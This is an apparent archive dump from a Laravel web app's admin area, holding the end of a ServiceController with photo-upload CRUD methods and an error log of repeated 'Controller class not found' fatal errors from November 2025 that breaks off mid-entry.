type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.service.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.service.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['photo', 'action']) ->toJson(); } public function index() { return view('admin.service.index'); } public function create() { return view('admin.service.create'); } public function store(Request $request) { $rules = [ 'photo' => 'required|mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Service(); $input = $request->all(); if ($file = $request->file('photo')) { $name = time().$file->getClientOriginalName(); $file->move('assets/images',$name); $input['photo'] = $name; } $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.service.index").'">View Service Lists</a>'; return response()->json($msg); } public function edit($id) { $data = Service::findOrFail($id); return view('admin.service.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Service::findOrFail($id); $input = $request->all(); if ($file = $request->file('photo')) { $name = time().$file->getClientOriginalName(); $file->move('assets/images',$name); @unlink('/assets/images/'.$data->photo); $input['photo'] = $name; } $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.service.index").'">View Service Lists</a>'; return response()->json($msg); } public function destroy($id) { $data = Service::findOrFail($id); @unlink('/assets/images/'.$data->photo); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/error_log 0000644 00000321024 15111246736 0012027 0 ustar 00 [19-Nov-2025 16:35:01 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [19-Nov-2025 16:35:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [19-Nov-2025 16:35:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [19-Nov-2025 16:35:29 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [19-Nov-2025 16:36:29 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [19-Nov-2025 16:42:08 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [19-Nov-2025 16:42:51 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php on line 11 [19-Nov-2025 16:43:52 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [19-Nov-2025 16:44:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [19-Nov-2025 16:48:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [19-Nov-2025 16:49:05 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [19-Nov-2025 16:51:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [19-Nov-2025 17:30:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php on line 17 [19-Nov-2025 17:33:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [19-Nov-2025 17:34:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php on line 12 [19-Nov-2025 17:35:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [19-Nov-2025 17:36:49 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php on line 20 [19-Nov-2025 17:38:56 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php on line 32 [19-Nov-2025 17:40:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php on line 12 [19-Nov-2025 17:41:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php on line 9 [19-Nov-2025 17:46:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [19-Nov-2025 17:47:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [19-Nov-2025 19:40:24 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SMSController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SMSController.php on line 11 [19-Nov-2025 19:40:25 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FaqController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FaqController.php on line 10 [19-Nov-2025 20:49:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SeoToolController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SeoToolController.php on line 13 [20-Nov-2025 00:07:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 00:07:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialSettingController.php on line 11 [20-Nov-2025 00:07:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 00:09:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 00:10:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 00:11:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 00:13:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 00:14:42 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PageSettingController.php on line 14 [20-Nov-2025 00:15:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 00:16:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [20-Nov-2025 00:17:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 00:19:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 00:20:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [20-Nov-2025 00:22:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [20-Nov-2025 00:23:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 00:24:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php on line 20 [20-Nov-2025 00:33:30 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [20-Nov-2025 00:34:25 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [20-Nov-2025 01:36:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SMSController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SMSController.php on line 11 [20-Nov-2025 01:36:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FaqController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FaqController.php on line 10 [20-Nov-2025 02:10:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/MessageController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/MessageController.php on line 15 [20-Nov-2025 02:12:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 02:18:17 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SeoToolController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SeoToolController.php on line 13 [20-Nov-2025 02:18:52 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php on line 11 [20-Nov-2025 04:40:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/KycManageController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/KycManageController.php on line 15 [20-Nov-2025 04:42:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [20-Nov-2025 06:06:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/MessageController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/MessageController.php on line 15 [20-Nov-2025 06:10:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 06:32:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php on line 11 [20-Nov-2025 07:28:39 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 07:38:56 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 07:39:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 07:40:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 07:42:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 07:43:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 07:44:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 07:45:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 07:46:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php on line 11 [20-Nov-2025 07:47:17 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [20-Nov-2025 07:48:22 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 07:49:27 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 07:50:31 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [20-Nov-2025 07:51:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php on line 9 [20-Nov-2025 07:52:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php on line 17 [20-Nov-2025 07:53:42 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [20-Nov-2025 07:54:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [20-Nov-2025 07:55:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php on line 32 [20-Nov-2025 07:56:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php on line 12 [20-Nov-2025 07:57:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [20-Nov-2025 07:58:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php on line 20 [20-Nov-2025 07:59:52 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php on line 12 [20-Nov-2025 08:00:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 08:01:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php on line 11 [20-Nov-2025 08:03:01 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [20-Nov-2025 08:19:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 08:19:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 08:21:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 08:22:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [20-Nov-2025 08:25:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 08:26:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 08:28:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 08:29:17 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php on line 11 [20-Nov-2025 08:30:18 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php on line 